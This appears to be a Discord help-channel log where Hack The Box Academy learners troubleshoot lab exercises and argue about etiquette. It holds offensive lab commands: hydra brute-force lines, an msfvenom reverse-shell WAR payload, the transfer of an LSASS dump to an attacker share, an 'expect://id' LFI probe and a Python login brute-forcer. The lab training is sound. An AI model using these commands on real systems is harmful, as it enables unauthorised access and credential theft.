yep I got it, thanks 🙂

[tulip dragon]

help

[brazen saffron]

Try with curl and not the file.

[brazen saffron]

😭

[undone narwhal]

its been a while since i did this, every thing looks good except -p flag is that necessary cuz you already gave a request file right? idk just double check on that

[tulip dragon]

i am getting a flag but its not getting accepted by module

hint of question is :You can use the option '-T flag5' to only dump data from the needed table. You can use the '--no-cast' flag to ensure you get the correct content. You may also, try running the command a few times to ensure you captured the content correctly.

[brazen saffron]

Send me in DM your flag.

[pliant coyote]

Why isn't it correct?

[next bronze]

edition, not version

[pliant coyote]

I used a translation program and totally missed it.

[tulip dragon]

how u did those red lines

[tulip dragon]

try to do it from pwnbox

its fast for network related task

[fathom pendant]

Probably ~ 30 minutes. Maybe it's set up to allow more threads

[tulip dragon]

hmm t is very less

[brazen saffron]

-t 4 because it's SSH.

[tulip dragon]

try it from pwnbox

[brazen saffron]

I am doing it.

[fathom pendant]

Multiple threads allow parallel attempts

[brazen saffron]

I know the password but would like to get it myself...

[tulip dragon]

for me hydra never took more than 3-4 min

[fathom pendant]

Just be patient

[tulip dragon]

just try t 16,32,64

hey marcie

[fathom pendant]

Grep for the right password with grep -n "<password>" to see what line it's on to get a gauge how long it may take

[brazen saffron]

I know the line of the valid password.

[fathom pendant]

Then you can do some light math to see how long it may take, line #/#triesperminute

[brazen saffron]

Well it's better.

-t 16 works.

[fathom pendant]

👍

[brazen saffron]

Well the password is good, thx :).

[tulip dragon]

i alwasy try with max t

[fathom pendant]

You generally don't wanna do that. At best (in a normal scenario) your ip gets blocked, at worst you dos the server

[weary goblet]

it's a tool called flameshot, you can take a screenshot and then easily edit it

[tulip dragon]

nah i was talking about in modules

[fathom pendant]

Don't get in the habit of doing things poorly

[tulip dragon]

if i don't do that in module it would take 30+ min coz of 180+ latency

[fathom pendant]

Again. Don't let yourself form bad habits just because

[tulip dragon]

yes

[fringe urchin]

Last time it took me 15min to scan an IP. Cooked myself something nice while i waited

[brazen saffron]

I am trying with the "normal" port for FTP but I had to reset before so I did not see if it was good, it should be 21 or the default port of the lab?

https://academy.hackthebox.com/module/57/section/491

Well, not working as well.

[fathom pendant]

Could be that you're using too many threads

[brazen saffron]

With the default or 21 xd?

[fathom pendant]

Either

[brazen saffron]

Okay :).

[fathom pendant]

Some threads look like they died so didn't finish resolving

[brazen saffron]

Maybe but I did a big error, I fixed it :), thx.

[fathom pendant]

For the labs, 48 threads tends to be the most stable

[brazen saffron]

👍

I am doing the 1st of last tests.

[zenith helm]

Anyone available for sparring on ADCS skills assessment? Want to understand what I am missing as I go through this assessment, as I am stuck in the beginning portion and have made my way through several attempts of ESC8 and ESC11. thanks in advance!

[brazen saffron]

Why I am getting a lot of ... ||user|| accounts?
hydra -l ||user|| -P Desktop/wordlists/rockyou.txt xxx -s xxx  http-post-form ||"/xlogin.php:xx=^USER^&xx=^PASS^:F=<form name='lo-gin'"|| -I https://academy.hackthebox.com/module/57/section/515

[shut quest]

Probably because your fail is drunk

[next bronze]

if it's esc8/11 then coerce and relay

[brazen saffron]

?

I reseted btw.

BRO I AM STUPID.

Insult me lol.

[brazen saffron]

😭

[shut quest]

I will not, and my reply was a hint

[brazen saffron]

I just placed wrongly ONE character bro...

[brazen saffron]

Yeah I know lol.

Thx 😭.

[zenith helm]

Thanks..

[crystal steeple]

quick question, when setting WPAD record , every machine traffic get proxied to our attack machine even if the AD network was firstly unaccessible direclty to us?

[limber cobalt]

Hi all, is there any way to delete the answers for academy modules's sections? I want to retake the entire path and I would like to go blind again with it. Is it possible?

[brazen saffron]

Just refollow the path but don't look at the flag for each section?

[ancient parrot]

hello, im stuck here: Attacking LSASS
i could not get the lsass.dmp file to my attackbox, tried many ways

[limber river]

Can you elaborate more, I don't understand the question ?

[limber river]

Which error do you get?

[ancient parrot]

C:\Users\htb-student\AppData\Local\Temp\share>move ".\lsass.DMP" "\10.10.15.26\share"
An unexpected network error occurred.
0 file(s) moved.

[limber river]

No \\10.10.15.2\share

[ancient parrot]

no discord filted

it's \

\\

[limber river]

Okay, did you setup the smbserver ?

[ancient parrot]

sure, like in the module, i tried with ftp still no luck

[limber river]

What about upload it with Http

?

[shadow cargo]

hey guys!

[soft cedar]

was it unauthenticated?

[shadow cargo]

does this server teach hacking?

[ancient parrot]

sudo impacket-smbserver -smb2support share .
is this okay?

[limber river]

Try with -username user -password pass

[soft cedar]

set it with a username and password.

[shadow cargo]

can anyone tell me?

[limber river]

In the windows use net use \\ip\share /user:user pass

Then move file \\ip\share

[shadow cargo]

hey!

[limber river]

Yess

[ancient parrot]

I think that's not a problem, I can transfer the files from the previous lesson about a few tens or hundreds of kbs, but the file system.save and this lsass.dmp are about a few dozen mbs so it's not possible.

[limber river]

Use http

[ancient parrot]

Tried it, timeout was too long

[limber river]

Weird, even FTP didn't work

?

[soft cedar]

U can get a rev shell via metersploit

And using the inbuilt download function

[ancient parrot]

yes, hashdump is the final method

i dont want to waste much time

[limber river]

ig Hashdump is different than lsass

[soft cedar]

What do you mean ?

[fringe urchin]

Hackthebox has modules for teaching but they arent for illegal stuff like how to hack into my friends computer or how to hack a discord.

Hackthebox can teach you/prepare for cybersecurity related jobs

[ancient parrot]

my thinking, check the net user then ...

[soft cedar]

I’m talking about how you can transfer lsass

[ancient parrot]

sorry if it was wrong

[limber river]

He means Hashdump from metasploit

[shadow cargo]

where do i start?

[soft cedar]

Yeah and you replied him that’s it’s a different thingy

[ancient parrot]

yes, the question to get user's password hash then crack it

[soft cedar]

I used msf to download the lsass when I did that section.

I was also getting timed out by other methods.

[ancient parrot]

Have you done that part yet? Could you please check it for me, how did you get that lsass.dmp, am I going in the wrong direction?

[ancient parrot]

Oh so you have the same problem?

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[soft cedar]

I already told you.
I have a latency problem so I couldn’t use smb / https

[fringe urchin]

@shadow cargo

[soft cedar]

Craft a meterpreter payload and send it to the target and catch the shell via msf multi handler

[limber river]

I mean if the smb didn't work, just use metasploit

[ancient parrot]

thank you, guys

[soft cedar]

Can I dm you about something else?

[limber river]

Me, yes ofc

[soft cedar]

Thanks.

[shadow cargo]

thanks!

[worldly pagoda]

Hi, on the page https://academy.hackthebox.com/module/143/section/1265 , it says "A penetration testing distro (typically Linux) as a virtual machine in their internal infrastructure that calls back to a jump host we control over VPN, and we can SSH into." what does it mean by "calls back". Sorry not very clear on the network terminology

[next bronze]

connects to

[worldly pagoda]

ohh ok, thanks

[oak girder]

Good evening, I was wondering if this file contains expect (which handles interactive streams) expect://id This is not echoed in this experimental environment

[ancient parrot]

I lose

help mee

[limber river]

That's why I use Linux xD

[ancient parrot]

I never thought I would have to take this way . Should I write a support ticket?

[limber river]

Idts

[rustic sage]

Disappointed in my self I had to get a hint for attack web service easy. I did not foresee using load file 😩😩😩😩😩😩

[limber river]

It happens

[rustic sage]

That was def left of field

[sterile epoch]

is anyone else facing this error while trying to install a module in drupal from attacking common applications

[soft cedar]

increase the timeout

you can background the session and do ;
sessions -i 1 --timeout 50 replace the 1 with the session number.

[limber river]

Maybe he can increase timeout is smbserver too, idr if there is an option in smbserver

[soft cedar]

for options I am not sure, maybe in the source code.

[ancient parrot]

Well, apparently that impacket-smbserver doesn't have a timeout option

[soft cedar]

its for meterpreter.

[limber river]

There's -t in smbclient

[pseudo kiln]

to create snapshots you need vmware pro right ?

[ancient parrot]

it works... when i set timeout to 120

[soft cedar]

damn 120 💀

[ancient parrot]

this is so long...

[upbeat knot]

hey, are there any discounts for silver annual subscription?
does everyone pay 490$?

[ancient parrot]

1mb/1min

[soft cedar]

its around ~45mb iirc

[ancient parrot]

lol to me, did it take you that long?

[gaunt raptor]

guys i hate to ask but does anyyone know how to hack steam acc

i will explain later

[soft cedar]

the download? think so.

[brazen saffron]

What args should I add? https://academy.hackthebox.com/module/80/section/772

I added the URL to the page :

[ancient parrot]

Thanks for your idea, @soft cedar , I think I need to rest a bit

[brazen saffron]

I have to give a file name but I have still these errors, I just replaced vars to parameters in the page and setting the url (no .php file by default).

[limber river]

Maybe problem from pwnbox, use your own vm

[graceful mortar]

[mint lodge]

https://academy.hackthebox.com/module/80/section/782
I would love some help with the second question on this module
I managed to decode the remember me cookie
But i cant encode it after editing it help please

[mint lodge]

Is that not a Rule break?

[brazen saffron]

Well I looked at the page of https://academy.hackthebox.com/module/80/section/772 but the csv about ||Scada|| is strange...I mean we have not something like ftp-betterdefaultcredentials.txt in default-credentials of seclists, does there is a link to download the valid one to have username:password?

[digital shale]

Not just you, I have the exact same problem!

[wanton idol]

two people having the same issue? hmmm 🤨

[brittle arch]

I am having an issue with the Password attack Lab Hard , I am using Hydra to brute force the RDP with the given Username , But I get different Passwords from Hydra Each time and none of them is working with xfreerdp.
Any help would be appreciated

[leaden reef]

hello guys im new here maybe my english not that good, i just wanna know do anyone have reccomendation which modules should i learn to learn as red team android?

[wanton idol]

is it the login brute force module?

nvm

found it i was blind

[brittle arch]

Yep , The Hard Lab

[wanton idol]

use crackmapexec instead of hydra

[brittle arch]

Tried it with no luck , Used the mutated pass list with the custom rule and still

[digital shale]

with the pwnbox, I cannot transfer lsass.dmp using the suggested method too

[brazen saffron]

Someone please... https://academy.hackthebox.com/module/80/section/772

[viscid dock]

Hello Everyone,
I'm doing the IDS/IPS module
https://academy.hackthebox.com/module/226/section/2416

Currently stuck in one single problem, on Snort Rule Development I'm tasked with with finding the keyword needed.
I've found the keyword to get the packets alert, but the same keyword is not the answer for the question in the academy.
Anyone able to help?

I posted it in the forum, in an already open thread in the same topic

[odd eagle]

hi how can i start

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[odd eagle]

OMG! You got #r00t!
No, I'm just kidding 🙂

You have been blocked bacause you tried to do something funny to our platform.

??

🤷

[brazen saffron]

??

[fathom pendant]

maybe try a different browser ¯_(ツ)_/¯

Or disable adblock or other third party software

[odd eagle]

its not worked

[odd eagle]

its not wotked too

[brazen saffron]

Someone please :/ 😭.

[shut ivy]

is there anyway to access port 22 on a mobile network? i cant complete the ssh module it no response on port 22 when i connect at home i have no problems

[wanton idol]

sorry bro i never done that module T-T wish i can help ya

[odd eagle]

some one help me please

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[fathom pendant]

Message support

Sounds like your ip got flagged somehow (probably mistake)

[shut ivy]

do you mean me marcielee

[fathom pendant]

I mean @odd eagle since they're having issues accessing the site altogether

[shut ivy]

oh ok

[fathom pendant]

No idea what your issue is.

Mobile you'd have to connect to the vpn to access the sites

And even then doing any interaction on mobile is nails on a chalkboard

[shut ivy]

k ill try again im using the openvpn they give you

[fathom pendant]

But again, I'd just wait until you're at a computer to do it

[odd eagle]

im in the pc

[fathom pendant]

Not you

[fathom pendant]

Only thing i can say is message/email support and try and resolve the issue

[rustic sage]

Module: Footprinting - Lab Hard:
Task:
Enumerate the server carefully and find the username "HTB" and its password. Then, submit HTB's password as the answer.

[fathom pendant]

That is indeed the task

[fathom pendant]

Reading the engagement carefully will help you understand where to look

[topaz zenith]

So i am on flag4.txt question on the Linux Privilege Escalation Skill Assessment and Idk if I am trying to do the wrong thing here but I have the admin credentials for the Tomcat Manager and I have tried using msfconsole with that information along with setting my own payload with msfvenom to get a reverse shell into it to find the flag4.txt. i have tried multi/http/tomcat_mgr_upload and entered in all of the options and it keeps saying : Exploit aborted due to failure: unknown: Failed to execute Payload. And when I upload the war file I cannot get a connection back from the upload on my listener. Some help would be appreciated if possible.

[soft cedar]

you are prolly using the wrong msfvenom payload

[fathom pendant]

^

[rustic sage]

@topaz zenith What I understand is that I have to find the credentials to access the POP3S service, am I correct?

[fathom pendant]

You @ the wrong person

But enumerate ports udp and tcp

[topaz zenith]

msfvenom -p java/jsp_shell_reverse_tcp LHOST= 10.10.15.43 LPORT=4321 -f war -o rshell.war

[fathom pendant]

Looks like you have a space after LHOST=

[soft cedar]

XD

[rustic sage]

@fathom pendant I've got the ports in sight
22
995
993
110
143

[fathom pendant]

There's more

That's only tcp

[wanton idol]

look at the help menu for nmap to see what flag to scan for udp if u dont know

[rustic sage]

wow thank you

[brazen saffron]

If someone c an 😭 : #1227666293902282782 message

[fathom pendant]

Looks like [-] means bad and [+] means good

[rustic sage]

"I will then perform a more thorough scan to see what I can find and thus be able to find something." @fathom pendant

[fathom pendant]

Also think about what services you may not have interacted with yet

I spent way too long on this on my first go though because I just didn't read

A handful of keywords actually clear a bunch up as to what to look for

[brazen saffron]

???

It's not answering to my problem 😭.

[fathom pendant]

Meaning the output of the program

[brazen saffron]

I know.

[fathom pendant]

You can likely filter with grep or something

Maybe you missed it

[brazen saffron]

But I can save it into a file.

I have no file at the end.

[fathom pendant]

That's a whole other issue

But grep you can just do from the cli

command | grep "string"

[unborn pilot]

Escape [ and ]

[fathom pendant]

^

[ and ] are special characters

[fathom pendant]

It's also likely it's treating + as a special character

Try "\[\+\]"

[fathom pendant]

Gotta learn how to escape chars brother

[brazen saffron]

\I have already used it and still "blue" lol, dw I know.

[fathom pendant]

Also looks like the error is within the python program

It runs fine without the grep yeah?

[brazen saffron]

import sys
import requests
import os.path

url = "xxx"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"}
messageOnValidation = "Welcome"

def unpack(fline):
    column = fline.split(",")[2]
    Username = column.split(":")[-1].strip()
    Password = column.split(":")[0].strip()
    return Username, Password

def do_req(url, Username, Password, headers):
    data = {"Username": Username, "Password": Password, "submit": "submit"}
    res = requests.post(url, headers=headers, data=data)
    return res.text

def check(haystack, needle):
    if needle in haystack:
        return True
    else:
        return False

def main():
    if (len(sys.argv) > 1) and (os.path.isfile(sys.argv[1])):
        fileName = sys.argv[1]
    else:
        print("[!] Please check wordlist.")
        print("[-] Usage: python3 {} /path/to/wordlist".format(sys.argv[0]))
        sys.exit()
    with open(fileName) as fh:
        for fline in fh:
            if fline.startswith("#"):
                continue
            Username, Password = unpack(fline.rstrip())
            print("[-] Checking account {} {}".format(Username, Password))
            res = do_req(url, Username, Password, headers)
            if (check(res, messageOnValidation)):
                print("[+] Valid account found: Username:{} Password:{}".format(Username, Password))

if __name__ == "__main__":
    main()

[fathom pendant]

Brother I'm not reading that

[fathom pendant]

Hmm

[brazen saffron]

??

Not mine, just edited unpack to have something working with scada.

Come from the course lol.

[unborn pilot]

You want to grep only valid account ? But the regex with grep dosn't work ?

[brazen saffron]

?

It does not matter if I use grep or no...

[fathom pendant]

Adding the grep seems to break the python script

[brazen saffron]

There is a file at the ennd only if there is one account.

[unborn pilot]

what do you want to do exactly please ?

[brazen saffron]

https://academy.hackthebox.com/module/80/section/772

What is the valid username.

[fathom pendant]

Is the welcome message "Welcome!"

[brazen saffron]

They give us this script : https://academy.hackthebox.com/storage/modules/80/scripts/basic_bruteforce_py.txt

[fathom pendant]

Also how are you grabbing the message

[brazen saffron]

It's for valid, not invalid.

Valid we have no info.

Invalid is : "Invalid credentials."

I can maybe edit to have not invalid.

[unborn pilot]

did you try to grep only "Valid account found" ?

[fathom pendant]

Also your script looks different from the provided one

[unborn pilot]

Or it is grepping in itself that broke your chain ?

[brazen saffron]

It's normal.

[fathom pendant]

And is missing the contextual remarks

[unborn pilot]

yeah he said he modified it but not so much

[brazen saffron]

Looks at the scada.csv.

[fathom pendant]

To let us know what it's doing

[brazen saffron]

default script : https://academy.hackthebox.com/storage/modules/80/scripts/basic_bruteforce_py.txt

[fathom pendant]

"Our php examples use userid and passwd

[brazen saffron]

It works only for a csv with this for example :

[brazen saffron]

Yeah and I edited.

[unborn pilot]

what you can do is in all the print command except the valid one you add file=sys.stderr

[unborn pilot]

so you can pip 2>/dev/null all the wrong answer and keep only the valid one

[brazen saffron]

??

[unborn pilot]

print("[-] Checking account {} {}".format(Username, Password), file=sys.stderr)

[fathom pendant]

This is sending "username" and "Password"

[brazen saffron]

data = {"Username": Username, "Password": Password, "submit": "submit"}

[fathom pendant]

Not userid and passwd

[brazen saffron]

Where do you see "username"?

[fathom pendant]

In your code

???

[fathom pendant]

????

Literally this??

[brazen saffron]

userid is an ex for their php page, not this one.

In this case, it's Username and Password.

[fathom pendant]

Then further clarify that it's not for the example you're doing dude

Just throwing the raw code at us doesn't help

[brazen saffron]

I quoted the question and gave the link but nvm...

[fathom pendant]

I don't have that module unlocked

[brazen saffron]

Well tell me xd, dw :).

[fathom pendant]

And just linking the page doesn't help us understand your problem

[brazen saffron]

.

"Inspect the login page and perform a bruteforce attack. What is the valid username?"

Look at the page title, and find the relevant list.

The title is speaking about scada.

BUT, the csv stored in the seclists repo is not like the which one I show you before as example :

[brazen saffron]

^

So, the script given is wrong because it's taking 1st & 2nd column, but in scada.csv, it's the third and in the same column.

[fathom pendant]

Did you check if there's a resources button?

[brazen saffron]

So it's give us this function because only this one should be edited, but we have to replace parameters name and url:

def unpack(fline):
    column = fline.split(",")[2]
    userid = column.split(":")[-1].strip()
    passwd = column.split(":")[0].strip()
    return userid, passwd

[wanton idol]

the module seems hella fun to try LOL

[brazen saffron]

And nothing :

I just edited a last thing : the message because I don't know the valid message when we are connected :

[brazen saffron]

https://gchq.github.io/CyberChef/
https://github.com/s0md3v/Decodify

[fathom pendant]

Are you exactly sure that it wants scada login

[brazen saffron]

"Look at the page title, and find the relevant list." :

What I do now 😭 🥺 ?

[fathom pendant]

well the seclist csv is wrong

but also https://github.com/scadastrangelove/SCADAPASS/blob/master/scadapass.csv found a few HMI/SCADA related passwords here

http://scadasecuritybootcamp.com/SCADA-Default-Password-List.php here's just a list and you can ctrl+f for it

[brazen saffron]

... They are giving us a script bro 🤣.

[brazen saffron]

mmh?

Yeah a list, and what are talking about? CSV wow 🤣.

a
b
c
d
e
etc.

Is a list.

[patent niche]

I am stuck on the same one I have the UsnJrnl file .csv

Does someone have a hint do I look at the cvs file or somewhere else?

[dim wolf]

you can use the entry numbers to correlate file creation

[fathom pendant]

yeah i just threw something i googled at you

i didn't check it; but you can google "WebAccess default password"

[dim wolf]

the journal won't tell you exactly how the file was created though

[brazen saffron]

Found :), thx but for me it's ... idiot.

[fathom pendant]

Google is your friend buddy

[patent niche]

Hmmm why does it say to investigate USN Journal, I don't get it

[fathom pendant]

i just had to be more specific with my search

but that's how googling works

[dim wolf]

because you need to

[fathom pendant]

too broad? you miss it

too narrow? you also miss it

[brazen saffron]

Stupid section imo...

[dim wolf]

there is a pattern that you can find in the journal that will help

[small sage]

Event logs are your friend

[fathom pendant]

nah; just be better at researching

for shits and giggles i did it on my host in chrome

[brazen saffron]

Hum, why we should be supposed to search when we have a python script, explain?

[fathom pendant]

Because the python script isn't magic lol

You still need to provide the script a list

[brazen saffron]

csv column is a list...

[dim wolf]

not everything is straightforward

[fathom pendant]

Yes, but the list you used might not have what you're looking for

[dim wolf]

you will have to do some critical thinking

[fathom pendant]

Hence: research

[brazen saffron]

Yeah that's write.

But, they shoud update it then... from 2021 = 0 updates 😭.

[fathom pendant]

SecLists?

[brazen saffron]

No.

[thin steppe]

I'm stuck on /module/176/section/1778
It looks like to get thew first answer here, I'll need to take the hash I got written to my spn.txt outfile and crack it using some "passwords.txt" and I cannot find the "passwords.txt" file that I'm supposed to use to crack this password... Where am I supposed to get the passwords.txt file from? or have I misunderstood something?

[brazen saffron]

But giving a wordlist that contains very the list.

Like rockyou for ex.

[fathom pendant]

Check the resources button

[fathom pendant]

Rockyou doesn't have everything

[thin steppe]

There isn't one.

https://academy.hackthebox.com/module/176/section/1778

[fathom pendant]

The module may have instructed you to make one at some point

[thin steppe]

It didn't.

Maybe... like idk? look at what I'm asking before trying to provide assistance? You're 0 for 2, not exactly being helpful here.

[fathom pendant]

perhaps reading on may clear it up if it's further in the reading ¯_(ツ)_/¯

[fathom pendant]

The one I linked you?

submit a pr to have the maintainer update the list ¯_(ツ)_/¯

[thin steppe]

Not a helpful comment. I am here because I've done that already.

[fathom pendant]

Your message didn't indicate that, and plenty of people have had issues clarified by continuing to read

[brazen saffron]

?

[thin steppe]

Are you just going to continue to not be helpful here? It's a waste of my time.

[brazen saffron]

No, the lesson.

[fathom pendant]

Is there a passwords.txt on the host you're meant to connect to?

[fathom pendant]

The lesson is fine

I managed it just fine by doing a tiny bit of research, not everything will be handed to you in the modules

[thin steppe]

No.

[fathom pendant]

Try using a password file like rockyou

[dim wolf]

that would have been my first go-to

if you have no passwords list.. rockyou

[fathom pendant]

I had to read up to that point but yeah no link to a password.txt, meaning the example is just an example of the format of the command

[thin steppe]

itd be rad if you did that before you responded at all.

[fathom pendant]

hashcat -m <mode> -a <attackmode> <hashfile> <password file>

[fathom pendant]

I also researched the question on the forums

[thin steppe]

Every time I come in here you're answering questions prematurely as you did here, and every time I am annoyed by you by my experience on this discord server.

[fathom pendant]

and most people have been using rockyou ¯_(ツ)_/¯

[dim wolf]

i feel like the Password Attacks module would have led you to use rockyou initially

[cloud urchin]

dang i thought i was the annoying one

[thin steppe]

Itd be cool if coming here was helpful more often than it was annoying.

[fathom pendant]

Glad to ruin your experience ig

[shut quest]

Marcie is here doing the modules just like you, the attitude is quite off putting. They don't know everything like you obviously don't.

[fathom pendant]

I ask basic questions when your initial info is lacking for better troubleshooting

[thin steppe]

That's fine. I'm not in here telling people how to solve things I know not how to solve.
because that helps no one.

[cloud urchin]

https://tenor.com/view/perfect-popcorn-michael-jackson-gif-26271837

[fathom pendant]

Also I'm not 0 for 2 buddy

[thin steppe]

lol yes you were, when I said that.

[fathom pendant]

I did eventually help the dude out with his broken auth question

And have now helped you

[thin steppe]

You were 0 for 2 with my request.

[dim wolf]

they're talking about your suggestions. you were 0-2

[fathom pendant]

Ah

[dim wolf]

allegedly

it's just basic troubleshooting, as with any troubleshooting process

[fathom pendant]

Well provide more info and you get better help

I ask to gather more info

[thin steppe]

Or, don't provide help until you know what's being asked.

Just a thought! 😉

[fathom pendant]

So that even if I didn't do the module, I can provide an accurate guess to help

[thin steppe]

yeah, you were 0 for 2, so no.

[fathom pendant]

All I did was asking for more info since you were lacking in your initial request

[thin steppe]

No, you told me to download it from the resourcces

[small sage]

Getting mad at people trying to help is a good way to get less people interested in helping

[thin steppe]

Which didn't exist. First miss.

[shut quest]

Don't feed the troll 😦

[fathom pendant]

I didn't know it didn't exist, and many people miss the resources button

[thin steppe]

Right, so don't provide help unless you know what you're doing? Seems basic af

[fathom pendant]

And as stated, many people also try and go line by line and miss something later in the reading

[thin steppe]

I haven't said anythng the last two times you've acted the exact same way

[cloud urchin]

no one knows everything bruh

[thin steppe]

But it's clearly a pattern with @fathom pendant

[fathom pendant]

2 very good reasons for me to ask for more info

[thin steppe]

That's fine to not know stuff. Don't say you know stuff when you don't. That simple

[fathom pendant]

99% of the time, I can make an educated guess based off available info

[next bronze]

marcie has helped a lot of people

ever thought about not being a prick?

[thin steppe]

lol false. you're 0 for 3 with my visiting this discord.

[runic depot]

this is a gem going back to older messages

[fathom pendant]

If you had stated, "there's no resources button and the module hasn't had us create a list" that provides broader context to just "there's no passwords.txt"

And I would have, off the bat, suggested rockyou

[thin steppe]

If you followed the URL I provided, you would have known. I provided requeisite info. stfu jfc

[dim wolf]

look marcie, you can't help em all, and clearly they don't want to be helped

[fathom pendant]

He just wants to bitch and complain

[thin steppe]

I want you, personally, to stop prematurely trying to provide help.

[fathom pendant]

I just googled "windows attack&defense no password.txt" and looked through the forums as well as read the module ¯_(ツ)_/¯

[thin steppe]

Because it is obnoxious, every time I come here it happens. It is you. Every time.

[fathom pendant]

Then mute me

[thin steppe]

Done.

[next bronze]

lmao who tf you think you are

[fathom pendant]

Idk why he didn't just block me from the start instead of the rant

Considering I did ultimately help

But w/e

[shut quest]

People just want handouts, and you can't please everyone.

[thin steppe]

A person paying for educational resources. Trying to get the education I'm paying for. Annoyed at the help community provided by the platform being so god awful.

And I mean, it is just @fathom pendant every time I'm here.

Consistent AF, quickly responding to people's inquiries with invalid info.

Just wasting time, not helping.

[dim wolf]

you still need help?

[fathom pendant]

they got help in the end ¯_(ツ)_/¯

[thin steppe]

Still frustrated that the lesson isn't providing the password list we're to use for the assignment. That seems short-sighted.

[dim wolf]

the lesson assumes you understand password attacks

[small sage]

It gets more delusional each reply

[fathom pendant]

I also don't take anything personally tbh. I come from a CS background... used to people being like this

[thin steppe]

The lesson doesn't mention that.

I have finished all requisite modules before this one.

So it wasn't presented in a logical order that facilitates a learning process.

[thin steppe]

More of that awesome community. Thanks.

[shut quest]

I'm glad you don't, I can't stand the toxic behavior when asking the community for help.

[next bronze]

"help community provided by the platform" bro, you aren't paying for the help here, if you think it's bad, then don't ask for help, it's simple as that

[dim wolf]

AD Enumeration and Attacks is a prerequisite.

[fathom pendant]

If you can pass this ss along since I'm blocked?

[dim wolf]

the prerequisite to that module is Password Attacks

[fathom pendant]

[dim wolf]

actually it's right there

Password Attacks, prerequisite to Windows Attacks & Defense

[fathom pendant]

He blocked me ig so he probably isn't seeing the screenshot I shared

[shut quest]

https://cdn.discordapp.com/attachments/774040263278592041/1227695646291656776/Screenshot_20240410_150350_Chrome.jpg?ex=662957ab&is=6616e2ab&hm=850d248c058403ea10ac9d8d58542f96cb71e660523cbe469788fd2130c9167d&

[dim wolf]

the information you get from Password Attacks would lead you to using rockyou to crack the hash

[shut quest]

i blocked him so... ¯_(ツ)_/¯

[fathom pendant]

My help is bad because people format questions poorly, and wonder why there's followup questions

[next bronze]

nah, I think your help is adequate for those who can help themselves. if you gave wrong info I would've said something when I see it

[shut quest]

People constantly ask poor questions, hell I'm sure I'm guilty of it every now and then, but still no excuse for attitude.

[fathom pendant]

¯_(ツ)_/¯

[limber river]

Some question here be like hello am stuck in module blah can you help me

[fathom pendant]

Give bare minimum; get bare minimum

[fathom pendant]

I often am ignoring those

I ignore way more of those than I'd like to admit

[next bronze]

taking the frustrations to unrelated matters onto other people is just plain stupid

[fathom pendant]

¯_(ツ)_/¯

I do tend to answer things without the full picture, but often the full picture isn't given as well

[thin steppe]

It's consistent. Every time I come here. Marcie is unhelpful. Xre0us has been helpful in the past. caculac0re is being helpful. I have considered calling out Marcie's unhelpful nature every time I've come here.

This is the third time. 3 for 3. So yes, going to mention it.

[fathom pendant]

I have silver annual so I can afford to just click start on whatever t0-2 module if I feel curious enough

But often it's a case of missing fundamentals, or it's in the next paragraph

[shut quest]

Maybe there should be a template like the erroneous chan. How to ask better questions by force.

[thin steppe]

My exact question was fine:

I'm stuck on /module/176/section/1778
It looks like to get thew first answer here, I'll need to take the hash I got written to my spn.txt outfile and crack it using some "passwords.txt" and I cannot find the "passwords.txt" file that I'm supposed to use to crack this password... Where am I supposed to get the passwords.txt file from? or have I misunderstood something?

I was then provided two answers that were of 0 value from Marcie.

[fathom pendant]

"What does insert.foot[ass] do?"

"insert.foot[ass] and it's uses"

And sometimes it's a case of just fucking around with the command. Like some ad acl stuff shows that the user you query has rights over the returned object

I didn't piece it together until I messed with filtering a bit

¯_(ツ)_/¯

[shut quest]

There are 3 modules I need to finish that I didn't complete while I still had silver annual. 😦

[fathom pendant]

F

I wish you luck

[dim wolf]

F

[shut quest]

I have the cubes, just need to unlock them.

[fathom pendant]

Yeah I've been holding off my streak by just doing quick t0 stuff

I never clicked through the Setting Up module

[cloud urchin]

i don't like that streak system because it incentivizes you to not complete the modules

[shut quest]

Oh I lied there's 5 😢

[dim wolf]

steel yourself then

[cloud urchin]

i did like 20 modules in a month and it won't count for anyhting evne though i did amazing

[dim wolf]

LOCK IN

[valid spear]

Does anybody know if the ADCS Attacks module is going to be updated with the new features that are being teased for Bloodhound-CE?

[fathom pendant]

It might

Though idk if they're gonna make changes solely based on bloodhound changes

That would likely be updating the BH module itself

[next bronze]

esc13? that came out a cople months ago, who knows

it's also missing esc12